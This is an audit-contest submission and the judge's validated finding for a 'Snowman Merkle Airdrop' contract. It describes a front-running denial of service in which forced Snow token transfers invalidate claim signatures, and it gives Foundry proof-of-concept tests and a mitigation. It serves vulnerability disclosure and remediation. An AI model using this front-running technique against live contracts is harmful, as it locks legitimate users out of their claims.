Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: medium
Valid

Real-Time Balance Check in Airdrop Allows Denial-of-Service via Force-Sent Tokens

Root + Impact

[M] Real-Time Balance Check in Airdrop Allows Denial-of-Service via Force-Sent Tokens

Description

The getMessageHash function retrieves the user's live snow token balance to generate the message digest for signature verification. An attacker can monitor pending claim transactions in the mempool and front‑run them by forcibly sending any non‑zero amount of snow to the target address.

This alters the victim’s balance, causing the contract‑computed digest to differ from the one originally signed by the user. Since the signature no longer matches, the claim transaction reverts, permanently preventing the legitimate user from claiming their NFT.

function getMessageHash(address receiver) public view returns (bytes32) {
...
uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);

Impact:

it could lock out the receiver from claiming forever

Proof of Concept

The attack consists of Oscar forcibly sending Snow tokens to Charlie before the claim transaction is processed, using tokens Oscar obtained for free.

function testDoSClaimSnowman() public {
assert(snow.balanceOf(charlie) == 1);
bytes32 charlieDigest = airdrop.getMessageHash(charlie);
(uint8 charlieV, bytes32 charlieR, bytes32 charlieS) = vm.sign(charlieKey, charlieDigest);
vm.startPrank(oscar);
vm.warp(block.timestamp + 1 weeks);
snow.earnSnow();
assert(snow.balanceOf(oscar) == 2);
snow.transfer(charlie, 1);
assert(snow.balanceOf(charlie) == 2);
vm.startPrank(charlie);
snow.approve(address(airdrop), 1);
vm.startPrank(satoshi);
vm.expectRevert();
airdrop.claimSnowman(charlie, CHARLIE_PROOF, charlieV, charlieR, charlieS);
}

Recommended Mitigation

Include the amount to be claimed in both getMessageHash and claimSnowman instead of reading it from the Snow contract. Showing only the new code in the section below

function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
...
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

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